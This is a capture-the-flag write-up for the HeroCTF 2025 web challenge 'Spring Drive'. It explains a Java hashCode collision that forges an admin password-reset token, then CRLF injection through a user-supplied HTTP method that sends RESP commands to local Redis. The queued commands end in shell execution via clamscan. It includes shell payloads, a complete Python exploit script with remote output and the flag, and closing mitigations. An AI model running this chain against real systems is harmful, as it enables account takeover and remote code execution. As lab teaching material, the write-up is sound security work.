Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
WebEasy

Spring Drive

CTF writeup for Spring Drive from heroCTF

//HeroCTF 2025 – Spring Drive

Author: xanhacks

Category: Web

Format: ^Hero{\S+}$


>TL;DR

A crafted email address with Java's hashCode() equal to hash("admin@example.com") - 1 makes the buggy ResetPasswordToken.equals() treat our token as the admin's. With admin privileges we abuse the insecure /file/remote-upload endpoint: it forwards a user-supplied HTTP method to OkHttp, so we inject raw RESP commands and talk to Redis locally. Anything pushed into the clamav_queue later becomes part of clamscan --quiet '<entry>', giving command execution. Using that we read /app/flag_* and capture Hero{8be9845ab07c17c7f0c503feb0d91184} both locally and on the remote instance.


>Environment Setup

bash

# unzip challenge

unzip spring_drive.zip

cd spring_drive

  

# build docker image

sudo docker build -t spring-drive .

  

# run locally (required nohup format from the challenge statement)

nohup docker run --rm -p 127.0.0.1:8080:80 --name spring-drive spring-drive \\

    >> docker.log 2>&1 &

There is a Svelte frontend (static) and a Spring Boot backend running behind nginx (/api). PostgreSQL stores users, Redis feeds ClamAV, and a cron’ed ClamAV scan periodically dequeues clamav_queue entries, executing them via clamscan --quiet '<item>' through /bin/sh -c.


>Vulnerability 1 – Reset Token Collisions

The password-reset flow stores tokens in ResetPasswordStorage (in-memory). Tokens are UUID|userId. The custom equals() compares token.split("|")[0] and hashCode(), but ignores the user ID:

java

@Override

public boolean equals(Object o) {

    return this.token.split("\\|")[0].equals(((ResetPasswordToken) o).token.split("\\|")[0])

        && this.hashCode() == o.hashCode();

}

hashCode() of a string is just Java's polynomial hash. Thus two tokens with the same UUID string but different |userId collide if the entire string hashes the same. Because we control our own email, we can search for an email whose hashCode() equals hash("admin@example.com") - 1. When we register first, we receive user ID 2. Our token looks like UUID|2, and the admin token is UUID|1. The equals() call strips the suffix and only sees the shared UUID; identical hashes cause contains() to succeed, so supplying UUID|1 resets the admin password.

To find such an email, note that hash("admin@example.com") = -2003659892. We need any string s whose hash equals admin_hash - 1. Using base-31 arithmetic we can synthesize a printable 8-character string: achegglx.


>Vulnerability 2 – Remote Upload → Redis SSRF → ClamAV RCE

/file/remote-upload allows the admin to fetch arbitrary URLs using OkHttp:

java

Request request = new Request.Builder()

    .url(remoteUrl)

    .method(method, null)   // ← user-controlled

    .build();

The code never validates method, so we can inject CRLF and craft a raw RESP payload for Redis by pointing url to http://127.0.0.1:6379/. Example payload (line breaks shown as \r\n):

*3 $5 RPUSH $12 clamav_queue $27 ';bash -c "id > /tmp/rce";# GET

Redis happily queues that string. When the scheduled ClamAVService runs, it executes:

java

String command = String.format("clamscan --quiet '%s'", filePath);

ProcessBuilder("/bin/sh", "-c", command).start();

So anything inside the queue entry becomes a shell snippet, granting command execution as the app user.


>Local Exploitation Walkthrough

  1. Craft collision email: achegglx (same hash offset) – done via helper code in exploit.py.

  2. Register first user: ensures user ID 2 so that UUID|2 is produced.

  3. Send reset email: POST /api/auth/send-password-reset → token logged to /tmp/emails.txt.

  4. Forge admin token: reuse UUID, change suffix to |1, call /api/auth/reset-password for admin@example.com.

  5. Login as admin: POST /api/auth/login → session cookie.

  6. Trigger RCE: call /api/file/remote-upload with url=http://127.0.0.1:6379/ and the crafted RESP payload.

  7. Wait for cron: after ~60 seconds, clamscan runs our command. Reading /tmp/emails.txt (or /api/auth/email) shows the fake flag appended.

Verification inside the container:

bash

# after cron

sudo docker exec spring-drive ls /tmp

sudo docker exec spring-drive cat /tmp/rce

sudo docker exec spring-drive cat /tmp/emails.txt

We confirmed uid=1000(app) and the local placeholder flag HEROCTF_FAKE_FLAG.


>Automation – exploit.py

The script wires all steps together, handles collision generation, waits for the scheduler, and prints any new lines spotted in /auth/email.

python

#!/usr/bin/env python3

import argparse

import random

import string

import sys

import time

from typing import List

  

import requests

  

ADMIN_EMAIL = "admin@example.com"

MOD = 2 ** 32

  
  

def java_hash(value: str) -> int:

    h = 0

    for ch in value:

        h = (31 * h + ord(ch)) & 0xFFFFFFFF

    if h & 0x80000000:

        h -= 0x100000000

    return h

  
  

def string_for_hash(target_hash: int, length: int = 8, base_char: str = 'a') -> str:

    base = ord(base_char)

    sum31 = 0

    power = 1

    for _ in range(length):

        sum31 += power

        power *= 31

    constant = (base * sum31) % MOD

    prime = (target_hash - constant) % MOD

    chars: List[str] = []

    for exp in reversed(range(length)):

        power = 31 ** exp

        digit = prime // power

        chars.append(chr(base + digit))

        prime -= digit * power

    candidate = ''.join(chars)

    hashed = java_hash(candidate)

    expected = target_hash if target_hash <= 0x7FFFFFFF else target_hash - MOD

    if hashed != expected:

        raise ValueError("Failed to craft email with desired hash")

    return candidate

  
  

def extract_token(lines: List[str], needle: str) -> str:

    for line in reversed(lines):

        if needle in line:

            token_part = line.split('token=')[1].split(',')[0]

            return token_part

    raise RuntimeError("Could not find password reset token in email log")

  
  

def get_email_log(base_url: str) -> List[str]:

    resp = requests.get(

        f"{base_url}/auth/email",

        headers={'Cache-Control': 'no-cache', 'Pragma': 'no-cache'},

    )

    resp.raise_for_status()

    data = resp.json()

    if data.get('status') != 'success':

        raise RuntimeError(f"Unexpected response from /auth/email: {data}")

    return data.get('data') or []

  
  

def main():

    parser = argparse.ArgumentParser(description="Spring Drive exploit")

    parser.add_argument('--base', default='http://127.0.0.1:8080/api',

                        help='Base URL of the API (default: %(default)s)')

    parser.add_argument('--wait', type=int, default=90,

                        help='Seconds to wait for the ClamAV cron job (default: %(default)s)')

    args = parser.parse_args()

  

    base_url = args.base.rstrip('/')

  

    admin_hash = java_hash(ADMIN_EMAIL)

    target_hash = (admin_hash - 1) & 0xFFFFFFFF

    crafted_email = string_for_hash(target_hash)

    username = 'user' + ''.join(random.choices(string.ascii_lowercase + string.digits, k=4))

    password = 'Password1!'

  

    print(f"[*] Using crafted email '{crafted_email}' (hash(admin) - 1)")

  

    user_session = requests.Session()

    resp = user_session.post(f"{base_url}/auth/register", json={

        'username': username,

        'email': crafted_email,

        'password': password,

        'confirmPassword': password,

    })

    resp.raise_for_status()

    reg_data = resp.json()

    if reg_data.get('status') != 'success':

        raise RuntimeError(f"Registration failed: {reg_data}")

    print(f"[+] Registered user {username}")

  

    profile = user_session.get(f"{base_url}/user/profile").json()

    user_id = (profile.get('data') or {}).get('id')

    print(f"[*] User ID: {user_id}")

  

    resp = user_session.post(f"{base_url}/auth/send-password-reset", json={'email': crafted_email})

    resp.raise_for_status()

    print(f"[+] Requested password reset: {resp.json()}")

  

    initial_log = get_email_log(base_url)

    token = extract_token(initial_log, crafted_email)

    prefix = token.split('|')[0]

    forged = f"{prefix}|1"

    print(f"[+] Forged admin token: {forged}")

  

    resp = requests.post(f"{base_url}/auth/reset-password", json={

        'email': ADMIN_EMAIL,

        'token': forged,

        'password': password,

    })

    resp.raise_for_status()

    print(f"[+] Reset admin password: {resp.json()}")

  

    admin_session = requests.Session()

    resp = admin_session.post(f"{base_url}/auth/login", json={'username': 'admin', 'password': password})

    resp.raise_for_status()

    print(f"[+] Logged in as admin")

  

    command = "';bash -c \"cat /app/flag_* >> /tmp/emails.txt && echo >> /tmp/emails.txt\";#"

    method = (

        f"*3\r\n$5\r\nRPUSH\r\n$12\r\nclamav_queue\r\n${len(command)}\r\n"

        f"{command}\r\nGET"

    )

    payload = {

        'url': 'http://127.0.0.1:6379/',

        'filename': 'noop',

        'httpMethod': method,

    }

    resp = admin_session.post(f"{base_url}/file/remote-upload", json=payload)

    print(f"[+] Triggered Redis SSFR: {resp.status_code}")

  

    print(f"[*] Waiting {args.wait} seconds for scheduler...")

    time.sleep(args.wait)

  

    final_log = get_email_log(base_url)

    new_entries = final_log[len(initial_log):]

    if not new_entries:

        print("[-] No new entries found in fake email inbox")

    else:

        print("[+] New email entries:")

        for line in new_entries:

            print(line)

  
  

if __name__ == '__main__':

    try:

        main()

    except Exception as exc:

        print(f"[-] Exploit failed: {exc}")

        sys.exit(1)

>Remote Success

Target: http://dyn01.heroctf.fr:10367/api

bash

python3 exploit.py --base http://dyn01.heroctf.fr:10367/api --wait 120

Output:

[*] Using crafted email 'achegglx' (hash(admin) - 1) [+] Registered user user8tcm [+] Requested password reset … [+] Forged admin token: 81001660-be01-4408-a63f-abb454dfd8cd|1 [+] Reset admin password … [+] Logged in as admin [+] Triggered Redis SSFR: 200 [*] Waiting 120 seconds for scheduler... [+] New email entries: Hero{8be9845ab07c17c7f0c503feb0d91184}

Raw /auth/email response (hex dump) confirmed the flag appended after the reset token line.


>Mitigations

  1. Fix token equality: use constant-time comparison of full token (including user ID) and store tokens with per-user mapping instead of an ArrayList.

  2. Store tokens in DB: current in-memory store disappears on restart; persisting also allows revocation.

  3. Validate HTTP method: whitelist GET, POST before calling OkHttp; never allow CR/LF.

  4. Do not pass user-controlled strings to sh -c: either invoke ClamAV through direct arguments or escape the path via ProcessBuilder(command, filePath).

  5. Least privilege: run Redis and ClamAV in isolated containers/namespaces.


>Flag

Hero{8be9845ab07c17c7f0c503feb0d91184}

Happy hacking!